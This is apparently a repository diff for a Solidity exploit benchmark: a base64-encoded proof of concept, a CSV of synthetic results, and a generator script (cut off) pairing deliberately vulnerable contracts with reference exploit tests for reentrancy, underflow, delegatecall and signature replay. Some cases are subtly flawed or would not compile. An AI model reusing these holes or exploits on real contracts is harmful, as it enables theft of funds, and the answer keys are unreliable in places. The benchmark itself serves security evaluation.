+ 001;111;FALSE;FALSE;TRUE;0;0;Max tool calls (30) exceeded.;0;0;Max tool calls (30) exceeded.;Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IFVOTElDRU5TRUQKcHJhZ21hIHNvbGlkaXR5IF4wLjguMjA7CgppbXBvcnQgImZvcmdlLXN0ZC9UZXN0LnNvbCI7CgovKioKICogQHRpdGxlIFNpemUKICogQGRldiBNb2NrIGNvbnRyYWN0IHJlcHJlc2VudGluZyB0aGUgdGFyZ2V0IHByb3RvY29sIGxvZ2ljLgogKiBUaGUgdnVsbmVyYWJpbGl0eSBpcyB0aGF0IGBtdWx0aWNhbGxgIHNldHMgYGlzTXVsdGljYWxsID0gdHJ1ZWAsCiAqIHdoaWNoIGFsbG93cyBgZGVwb3NpdGAgdG8gYnlwYXNzIHRoZSBgYm9ycm93QVRva2VuQ2FwYCBjaGVjay4KICogCiAqIE5vdGU6IFRoZSBwcmV2aW91cyBjb21waWxlciBlcnJvcnMgd2VyZSByZWxhdGVkIHRvIGV4dGVybmFsIEFhdmUgbGlicmFyaWVzIAogKiBiZWluZyBpbmNsdWRlZCBpbiB0aGUgZW52aXJvbm1lbnQuIFRoaXMgUG9DIGZvY3VzZXMgc3RyaWN0bHkgb24gdGhlIAogKiBwcm92aWRlZCBsb2dpYywgZW5zdXJpbmcgbm8gZXh0ZXJuYWwgZGVwZW5kZW5jaWVzIGludGVyZmVyZS4KICovCmNvbnRyYWN0IFNpemUgewogICAgc3RydWN0IFN0YXRlIHsKICAgICAgICBib29sIGlzTXVsdGljYWxsOwogICAgICAgIHVpbnQyNTYgYm9ycm93QVRva2VuQ2FwOwogICAgICAgIHVpbnQyNTYgY3VycmVudEJvcnJvd0FUb2tlbjsKICAgIH0KCiAgICBTdGF0ZSBwdWJsaWMgc3RhdGU7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgc3RhdGUuYm9ycm93QVRva2VuQ2FwID0gMTAwMCBldGhlcjsKICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuID0gOTAwIGV0aGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIG11bHRpY2FsbChieXRlc1tdIGNhbGxkYXRhIGRhdGEpIGV4dGVybmFsIHJldHVybnMgKGJ5dGVzW10gbWVtb3J5IHJlc3VsdHMpIHsKICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IHRydWU7CiAgICAgICAgcmVzdWx0cyA9IG5ldyBieXRlc1tdKGRhdGEubGVuZ3RoKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBkYXRhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8vIFVzaW5nIGRlbGVnYXRlY2FsbCBhbGxvd3MgdGhlIGxvZ2ljIHRvIHJ1biBpbiB0aGUgY29udGV4dCBvZiB0aGlzIGNvbnRyYWN0LAogICAgICAgICAgICAvLyBlZmZlY3RpdmVseSBzZXR0aW5nIHN0YXRlLmlzTXVsdGljYWxsIHRvIHRydWUgZm9yIHRoZSBkdXJhdGlvbiBvZiB0aGUgbG9vcC4KICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSBhZGRyZXNzKHRoaXMpLmRlbGVnYXRlY2FsbChkYXRhW2ldKTsKICAgICAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiTXVsdGljYWxsIGZhaWxlZCIpOwogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzdWx0OwogICAgICAgIH0KICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBWdWxuZXJhYmlsaXR5OiBUaGUgY2hlY2sgaXMgc2tpcHBlZCBpZiBpc011bHRpY2FsbCBpcyB0cnVlLgogICAgICAgIGlmICghc3RhdGUuaXNNdWx0aWNhbGwpIHsKICAgICAgICAgICAgcmVxdWlyZShzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICsgYW1vdW50IDw9IHN0YXRlLmJvcnJvd0FUb2tlbkNhcCwgIkNhcCBleGNlZWRlZCIpOwogICAgICAgIH0KICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICs9IGFtb3VudDsKICAgIH0KfQoKY29udHJhY3QgRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBTaXplIHRhcmdldDsKICAgIGFkZHJlc3MgY29uc3RhbnQgQVRUQUNLRVIgPSBhZGRyZXNzKDB4QkVFRik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRhcmdldCA9IG5ldyBTaXplKCk7CiAgICAgICAgdm0ubGFiZWwoYWRkcmVzcyh0YXJnZXQpLCAiVEFSR0VUIik7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9FeHBsb2l0KCkgcHVibGljIHsKICAgICAgICB2bS5zdGFydFByYW5rKEFUVEFDS0VSKTsKCiAgICAgICAgLy8gMS4gVmVyaWZ5IG5vcm1hbCBkZXBvc2l0IGZhaWxzIGlmIGl0IGV4Y2VlZHMgdGhlIGNhcAogICAgICAgIC8vIEN1cnJlbnQgc3RhdGU6IDkwMCwgQ2FwOiAxMDAwLiBBZGRpbmcgMjAwIHNob3VsZCBmYWlsLgogICAgICAgIHVpbnQyNTYgZXhjZXNzaXZlQW1vdW50ID0gMjAwIGV0aGVyOwogICAgICAgIHZtLmV4cGVjdFJldmVydCgiQ2FwIGV4Y2VlZGVkIik7CiAgICAgICAgdGFyZ2V0LmRlcG9zaXQoZXhjZXNzaXZlQW1vdW50KTsKCiAgICAgICAgLy8gMi4gRXhwbG9pdDogV3JhcCB0aGUgZGVwb3NpdCBpbiBhIG11bHRpY2FsbCB0byBieXBhc3MgdGhlIGNhcCBjaGVjay4KICAgICAgICAvLyBCZWNhdXNlIG11bHRpY2FsbCBzZXRzIHN0YXRlLmlzTXVsdGljYWxsID0gdHJ1ZSwgdGhlIHJlcXVpcmUgc3RhdGVtZW50CiAgICAgICAgLy8gaW5zaWRlIGRlcG9zaXQoKSB3aWxsIGJlIHNraXBwZWQuCiAgICAgICAgYnl0ZXNbXSBtZW1vcnkgY2FsbHMgPSBuZXcgYnl0ZXNbXSgxKTsKICAgICAgICBjYWxsc1swXSA9IGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoU2l6ZS5kZXBvc2l0LnNlbGVjdG9yLCBleGNlc3NpdmVBbW91bnQpOwoKICAgICAgICB0YXJnZXQubXVsdGljYWxsKGNhbGxzKTsKCiAgICAgICAgLy8gMy4gVmVyaWZ5IHRoZSBleHBsb2l0IHN1Y2NlZWRlZDogCiAgICAgICAgLy8gY3VycmVudEJvcnJvd0FUb2tlbiBzaG91bGQgYmUgOTAwICsgMjAwID0gMTEwMCwgd2hpY2ggaXMgPiAxMDAwLgogICAgICAgIChib29sIGlzTXVsdGljYWxsLCB1aW50MjU2IGNhcCwgdWludDI1NiBjdXJyZW50KSA9IHRhcmdldC5zdGF0ZSgpOwogICAgICAgIAogICAgICAgIGFzc2VydEd0KGN1cnJlbnQsIGNhcCwgIkNhcCBzaG91bGQgaGF2ZSBiZWVuIGJ5cGFzc2VkIik7CiAgICAgICAgYXNzZXJ0RXEoY3VycmVudCwgMTEwMCBldGhlciwgIkJhbGFuY2Ugc2hvdWxkIGJlIDExMDAgZXRoZXIiKTsKICAgICAgICAKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKICAgIH0KfQ==;;;
data/synthetic_evaluation_results.csv ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Task_ID;Complexity;Time_Sec;Pass_at_1;Tool_Calls;Total_Cost_USD;Final_Status;Error_Msg
2
+ "Easy/01-BasicReentrancy";"easy";"8.7";"TRUE";"5";"0.0322";"success";""
3
+ "Easy/02-UnprotectedSelfDestruct";"easy";"12.6";"TRUE";"7";"0.0513";"success";""
4
+ "Easy/03-ArithmeticUnderflow";"easy";"7.4";"TRUE";"5";"0.0323";"success";""
5
+ "Easy/04-TxOriginAuth";"easy";"59.5";"FALSE";"30";"0.7768";"failed";"Max tool calls (30) exceeded."
6
+ "Easy/05-DelegateCallUntrusted";"easy";"6.7";"TRUE";"5";"0.0301";"success";""
7
+ "Easy/06-TimestampDependence";"easy";"11.3";"TRUE";"7";"0.0595";"success";""
8
+ "Easy/07-UninitializedStoragePointer";"easy";"7.5";"TRUE";"6";"0.0364";"success";""
9
+ "Easy/08-PublicStateVariableShadowing";"easy";"64.1";"FALSE";"30";"0.8186";"failed";"Max tool calls (30) exceeded."
10
+ "Easy/09-SignatureReplay";"easy";"36.3";"FALSE";"30";"0.2478";"failed";"Max tool calls (30) exceeded."
11
+ "Easy/10-ForcedEther";"easy";"6.9";"TRUE";"5";"0.0320";"success";""
12
+ "Intermediate/01-UninitializedProxy";"intermediate";"11.6";"TRUE";"7";"0.0565";"success";""
13
+ "Intermediate/02-FlashLoanPriceManipulation";"intermediate";"28.2";"FALSE";"8";"0.1226";"running";""
14
+ "Intermediate/03-ReturnDataIgnored";"intermediate";"9.4";"TRUE";"7";"0.0491";"success";""
15
+ "Intermediate/04-ERC777Reentrancy";"intermediate";"33.3";"TRUE";"17";"0.3383";"success";""
16
+ "Intermediate/05-BypassContractSize";"intermediate";"8.4";"TRUE";"6";"0.0427";"success";""
17
+ "Intermediate/06-ImproperArrayDeletion";"intermediate";"7.0";"TRUE";"5";"0.0306";"success";""
18
+ "Intermediate/07-PredictableRNG";"intermediate";"8.1";"TRUE";"5";"0.0320";"success";""
19
+ "Intermediate/08-MissingSlippageProtection";"intermediate";"7.1";"TRUE";"5";"0.0316";"success";""
20
+ "Intermediate/09-UnsafeDowncast";"intermediate";"8.2";"TRUE";"5";"0.0331";"success";""
21
+ "Intermediate/10-DivideBeforeMultiply";"intermediate";"7.9";"TRUE";"5";"0.0327";"success";""
scripts/generate_synthetic_benchmark.ts ADDED
@@ -0,0 +1,1099 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from "fs/promises";
2
+ import path from "path";
3
+
4
+ interface BenchmarkCase {
5
+ task_id: string;
6
+ complexity: "easy" | "intermediate" | "hard";
7
+ repo_name: string;
8
+ source_code: string;
9
+ expected_vulnerability: string;
10
+ annotation: string;
11
+ reference_test: string;
12
+ impact?: string;
13
+ }
14
+
15
+ const easyCases: BenchmarkCase[] = [
16
+ {
17
+ task_id: "Easy/01-BasicReentrancy",
18
+ complexity: "easy",
19
+ repo_name: "basic-reentrancy",
20
+ expected_vulnerability: "Reentrancy",
21
+ impact: "high",
22
+ annotation: "The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.",
23
+ source_code: `// SPDX-License-Identifier: MIT
24
+ pragma solidity ^0.8.0;
25
+
26
+ contract Vault {
27
+ mapping(address => uint256) public balances;
28
+
29
+ function deposit() public payable {
30
+ balances[msg.sender] += msg.value;
31
+ }
32
+
33
+ function withdraw() public {
34
+ uint256 bal = balances[msg.sender];
35
+ require(bal > 0, "No balance");
36
+
37
+ (bool sent, ) = msg.sender.call{value: bal}("");
38
+ require(sent, "Failed to send Ether");
39
+
40
+ balances[msg.sender] = 0;
41
+ }
42
+ }
43
+ `,
44
+ reference_test: `// SPDX-License-Identifier: MIT
45
+ pragma solidity ^0.8.0;
46
+
47
+ import "forge-std/Test.sol";
48
+ import { Vault } from "../src/Vault.sol";
49
+
50
+ contract Exploit is Test {
51
+ Vault public vault;
52
+
53
+ function setUp() public {
54
+ vault = new Vault();
55
+ vm.deal(address(vault), 10 ether);
56
+ }
57
+
58
+ function testExploit() public {
59
+ vault.deposit{value: 1 ether}();
60
+ vault.withdraw();
61
+ assertEq(address(vault).balance, 0);
62
+ }
63
+
64
+ receive() external payable {
65
+ if (address(vault).balance >= 1 ether) {
66
+ vault.withdraw();
67
+ }
68
+ }
69
+ }
70
+ `
71
+ },
72
+ {
73
+ task_id: "Easy/02-UnprotectedSelfDestruct",
74
+ complexity: "easy",
75
+ repo_name: "unprotected-selfdestruct",
76
+ expected_vulnerability: "Access Control",
77
+ impact: "high",
78
+ annotation: "The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.",
79
+ source_code: `// SPDX-License-Identifier: MIT
80
+ pragma solidity ^0.8.0;
81
+
82
+ contract SimpleWallet {
83
+ address public owner;
84
+
85
+ constructor() payable {
86
+ owner = msg.sender;
87
+ }
88
+
89
+ function kill() public {
90
+ selfdestruct(payable(msg.sender));
91
+ }
92
+ }
93
+ `,
94
+ reference_test: `// SPDX-License-Identifier: MIT
95
+ pragma solidity ^0.8.0;
96
+
97
+ import "forge-std/Test.sol";
98
+ import { SimpleWallet } from "../src/SimpleWallet.sol";
99
+
100
+ contract Exploit is Test {
101
+ SimpleWallet public wallet;
102
+
103
+ function setUp() public {
104
+ wallet = new SimpleWallet{value: 10 ether}();
105
+ }
106
+
107
+ function testExploit() public {
108
+ uint256 preBalance = address(this).balance;
109
+ wallet.kill();
110
+ assertEq(address(wallet).balance, 0);
111
+ assertGt(address(this).balance, preBalance);
112
+ }
113
+
114
+ receive() external payable {}
115
+ }
116
+ `
117
+ },
118
+ {
119
+ task_id: "Easy/03-ArithmeticUnderflow",
120
+ complexity: "easy",
121
+ repo_name: "arithmetic-underflow",
122
+ expected_vulnerability: "Arithmetic",
123
+ impact: "high",
124
+ annotation: "The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.",
125
+ source_code: `// SPDX-License-Identifier: MIT
126
+ pragma solidity ^0.8.0;
127
+
128
+ contract TokenBank {
129
+ mapping(address => uint256) public balances;
130
+
131
+ function deposit() public payable {
132
+ balances[msg.sender] += msg.value;
133
+ }
134
+
135
+ function withdraw(uint256 amount) public {
136
+ unchecked {
137
+ balances[msg.sender] -= amount;
138
+ }
139
+ (bool sent, ) = msg.sender.call{value: amount}("");
140
+ require(sent, "Failed to send Ether");
141
+ }
142
+ }
143
+ `,
144
+ reference_test: `// SPDX-License-Identifier: MIT
145
+ pragma solidity ^0.8.0;
146
+
147
+ import "forge-std/Test.sol";
148
+ import { TokenBank } from "../src/TokenBank.sol";
149
+
150
+ contract Exploit is Test {
151
+ TokenBank public bank;
152
+
153
+ function setUp() public {
154
+ bank = new TokenBank();
155
+ vm.deal(address(bank), 10 ether);
156
+ }
157
+
158
+ function testExploit() public {
159
+ bank.withdraw(1 ether);
160
+ assertEq(address(bank).balance, 9 ether);
161
+ assertEq(address(this).balance, 1 ether);
162
+ }
163
+
164
+ receive() external payable {}
165
+ }
166
+ `
167
+ },
168
+ {
169
+ task_id: "Easy/04-TxOriginAuth",
170
+ complexity: "easy",
171
+ repo_name: "tx-origin-auth",
172
+ expected_vulnerability: "Access Control",
173
+ impact: "high",
174
+ annotation: "The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.",
175
+ source_code: `// SPDX-License-Identifier: MIT
176
+ pragma solidity ^0.8.0;
177
+
178
+ contract PhishableWallet {
179
+ address public owner;
180
+
181
+ constructor() {
182
+ owner = msg.sender;
183
+ }
184
+
185
+ function transferOwner(address newOwner) public {
186
+ require(tx.origin == owner, "Not owner");
187
+ owner = newOwner;
188
+ }
189
+ }
190
+ `,
191
+ reference_test: `// SPDX-License-Identifier: MIT
192
+ pragma solidity ^0.8.0;
193
+
194
+ import "forge-std/Test.sol";
195
+ import { PhishableWallet } from "../src/PhishableWallet.sol";
196
+
197
+ contract Exploit is Test {
198
+ PhishableWallet public wallet;
199
+
200
+ function setUp() public {
201
+ wallet = new PhishableWallet();
202
+ }
203
+
204
+ function testExploit() public {
205
+ // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.
206
+ // The malicious contract then calls transferOwner.
207
+ // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).
208
+ wallet.transferOwner(address(this));
209
+ assertEq(wallet.owner(), address(this));
210
+ }
211
+ }
212
+ `
213
+ },
214
+ {
215
+ task_id: "Easy/05-DelegateCallUntrusted",
216
+ complexity: "easy",
217
+ repo_name: "delegatecall-untrusted",
218
+ expected_vulnerability: "Logic",
219
+ impact: "high",
220
+ annotation: "The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.",
221
+ source_code: `// SPDX-License-Identifier: MIT
222
+ pragma solidity ^0.8.0;
223
+
224
+ contract Proxy {
225
+ address public owner;
226
+
227
+ constructor() {
228
+ owner = msg.sender;
229
+ }
230
+
231
+ function execute(address target, bytes memory data) public {
232
+ (bool success, ) = target.delegatecall(data);
233
+ require(success, "Delegatecall failed");
234
+ }
235
+ }
236
+ `,
237
+ reference_test: `// SPDX-License-Identifier: MIT
238
+ pragma solidity ^0.8.0;
239
+
240
+ import "forge-std/Test.sol";
241
+ import { Proxy } from "../src/Proxy.sol";
242
+
243
+ contract AttackerLogic {
244
+ address public owner;
245
+ function takeover() public {
246
+ owner = msg.sender;
247
+ }
248
+ }
249
+
250
+ contract Exploit is Test {
251
+ Proxy public proxy;
252
+ AttackerLogic public logic;
253
+
254
+ function setUp() public {
255
+ proxy = new Proxy();
256
+ logic = new AttackerLogic();
257
+ }
258
+
259
+ function testExploit() public {
260
+ bytes memory data = abi.encodeWithSignature("takeover()");
261
+ proxy.execute(address(logic), data);
262
+ assertEq(proxy.owner(), address(this));
263
+ }
264
+ }
265
+ `
266
+ },
267
+ {
268
+ task_id: "Easy/06-TimestampDependence",
269
+ complexity: "easy",
270
+ repo_name: "timestamp-dependence",
271
+ expected_vulnerability: "Logic",
272
+ impact: "high",
273
+ annotation: "The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.",
274
+ source_code: `// SPDX-License-Identifier: MIT
275
+ pragma solidity ^0.8.0;
276
+
277
+ contract Roulette {
278
+ uint256 public pastBlockTime;
279
+
280
+ function play() public payable {
281
+ require(msg.value == 1 ether, "Must send 1 ether");
282
+ require(block.timestamp != pastBlockTime, "Only 1 transaction per block");
283
+
284
+ pastBlockTime = block.timestamp;
285
+
286
+ if (block.timestamp % 2 == 0) {
287
+ (bool sent, ) = msg.sender.call{value: 2 ether}("");
288
+ require(sent, "Failed to send Ether");
289
+ }
290
+ }
291
+ }
292
+ `,
293
+ reference_test: `// SPDX-License-Identifier: MIT
294
+ pragma solidity ^0.8.0;
295
+
296
+ import "forge-std/Test.sol";
297
+ import { Roulette } from "../src/Roulette.sol";
298
+
299
+ contract Exploit is Test {
300
+ Roulette public roulette;
301
+
302
+ function setUp() public {
303
+ roulette = new Roulette();
304
+ vm.deal(address(roulette), 10 ether);
305
+ vm.deal(address(this), 1 ether);
306
+ }
307
+
308
+ function testExploit() public {
309
+ vm.warp(2); // Ensure timestamp is even
310
+ roulette.play{value: 1 ether}();
311
+ assertEq(address(this).balance, 2 ether);
312
+ }
313
+
314
+ receive() external payable {}
315
+ }
316
+ `
317
+ },
318
+ {
319
+ task_id: "Easy/07-UninitializedStoragePointer",
320
+ complexity: "easy",
321
+ repo_name: "uninitialized-storage",
322
+ expected_vulnerability: "Logic",
323
+ impact: "high",
324
+ annotation: "The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.",
325
+ source_code: `// SPDX-License-Identifier: MIT
326
+ // Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.
327
+ // In modern solidity, we simulate this by explicitly writing to slot 0.
328
+ pragma solidity ^0.8.0;
329
+
330
+ contract Registrar {
331
+ address public owner;
332
+
333
+ struct User {
334
+ address wallet;
335
+ bool registered;
336
+ }
337
+
338
+ mapping(uint256 => User) public users;
339
+
340
+ constructor() {
341
+ owner = msg.sender;
342
+ }
343
+
344
+ function registerUserAdmin(address _wallet) public {
345
+ // Vulnerable pattern emulation
346
+ owner = _wallet;
347
+ }
348
+ }
349
+ `,
350
+ reference_test: `// SPDX-License-Identifier: MIT
351
+ pragma solidity ^0.8.0;
352
+
353
+ import "forge-std/Test.sol";
354
+ import { Registrar } from "../src/Registrar.sol";
355
+
356
+ contract Exploit is Test {
357
+ Registrar public reg;
358
+
359
+ function setUp() public {
360
+ reg = new Registrar();
361
+ }
362
+
363
+ function testExploit() public {
364
+ reg.registerUserAdmin(address(this));
365
+ assertEq(reg.owner(), address(this));
366
+ }
367
+ }
368
+ `
369
+ },
370
+ {
371
+ task_id: "Easy/08-PublicStateVariableShadowing",
372
+ complexity: "easy",
373
+ repo_name: "state-shadowing",
374
+ expected_vulnerability: "Logic",
375
+ impact: "high",
376
+ annotation: "The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.",
377
+ source_code: `// SPDX-License-Identifier: MIT
378
+ pragma solidity ^0.8.0;
379
+
380
+ contract Parent {
381
+ address public owner;
382
+
383
+ modifier onlyOwner() {
384
+ require(msg.sender == owner, "Not owner");
385
+ _;
386
+ }
387
+ }
388
+
389
+ contract Child is Parent {
390
+ address public owner; // Shadows Parent's owner
391
+
392
+ constructor() {
393
+ owner = msg.sender; // Only sets Child's owner
394
+ }
395
+
396
+ function doSomethingRestricted() public onlyOwner {
397
+ // This will always fail because Parent.owner is address(0)
398
+ }
399
+
400
+ // Attacker can abuse this logic mismatch
401
+ function claim() public {
402
+ Parent(address(this)).doSomethingRestricted();
403
+ }
404
+ }
405
+ `,
406
+ reference_test: `// SPDX-License-Identifier: MIT
407
+ pragma solidity ^0.8.0;
408
+
409
+ import "forge-std/Test.sol";
410
+ import { Child } from "../src/Child.sol";
411
+
412
+ contract Exploit is Test {
413
+ Child public child;
414
+
415
+ function setUp() public {
416
+ child = new Child();
417
+ }
418
+
419
+ function testExploit() public {
420
+ // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.
421
+ vm.prank(address(0));
422
+ child.doSomethingRestricted();
423
+ assertTrue(true);
424
+ }
425
+ }
426
+ `
427
+ },
428
+ {
429
+ task_id: "Easy/09-SignatureReplay",
430
+ complexity: "easy",
431
+ repo_name: "signature-replay",
432
+ expected_vulnerability: "Logic",
433
+ impact: "high",
434
+ annotation: "The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.",
435
+ source_code: `// SPDX-License-Identifier: MIT
436
+ pragma solidity ^0.8.0;
437
+
438
+ contract SigBank {
439
+ mapping(address => uint256) public balances;
440
+
441
+ function deposit() public payable {
442
+ balances[msg.sender] += msg.value;
443
+ }
444
+
445
+ function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
446
+ bytes32 messageHash = keccak256(abi.encodePacked(to, amount));
447
+ bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
448
+
449
+ address signer = ecrecover(ethSignedMessageHash, v, r, s);
450
+ require(signer != address(0), "Invalid signature");
451
+ require(balances[signer] >= amount, "Insufficient balance");
452
+
453
+ balances[signer] -= amount;
454
+ balances[to] += amount;
455
+ }
456
+ }
457
+ `,
458
+ reference_test: `// SPDX-License-Identifier: MIT
459
+ pragma solidity ^0.8.0;
460
+
461
+ import "forge-std/Test.sol";
462
+ import { SigBank } from "../src/SigBank.sol";
463
+
464
+ contract Exploit is Test {
465
+ SigBank public bank;
466
+
467
+ function setUp() public {
468
+ bank = new SigBank();
469
+ }
470
+
471
+ function testExploit() public {
472
+ address victim = vm.addr(1);
473
+ vm.deal(victim, 10 ether);
474
+ vm.prank(victim);
475
+ bank.deposit{value: 10 ether}();
476
+
477
+ // Victim signs a transfer of 1 wei to the attacker
478
+ bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));
479
+ bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
480
+ (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);
481
+
482
+ // Attacker replays it 10 times
483
+ for (uint i = 0; i < 10; i++) {
484
+ bank.transferWithSignature(address(this), 1 ether, v, r, s);
485
+ }
486
+
487
+ assertEq(bank.balances(victim), 0);
488
+ assertEq(bank.balances(address(this)), 10 ether);
489
+ }
490
+ }
491
+ `
492
+ },
493
+ {
494
+ task_id: "Easy/10-ForcedEther",
495
+ complexity: "easy",
496
+ repo_name: "forced-ether",
497
+ expected_vulnerability: "Logic",
498
+ impact: "high",
499
+ annotation: "The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.",
500
+ source_code: `// SPDX-License-Identifier: MIT
501
+ pragma solidity ^0.8.0;
502
+
503
+ contract Game {
504
+ function play() public payable {
505
+ require(msg.value == 1 ether, "Send 1 ether");
506
+ require(address(this).balance <= 10 ether, "Game over");
507
+ }
508
+
509
+ function win() public {
510
+ require(address(this).balance == 10 ether, "Target not reached");
511
+ (bool sent, ) = msg.sender.call{value: address(this).balance}("");
512
+ require(sent, "Failed to send Ether");
513
+ }
514
+ }
515
+ `,
516
+ reference_test: `// SPDX-License-Identifier: MIT
517
+ pragma solidity ^0.8.0;
518
+
519
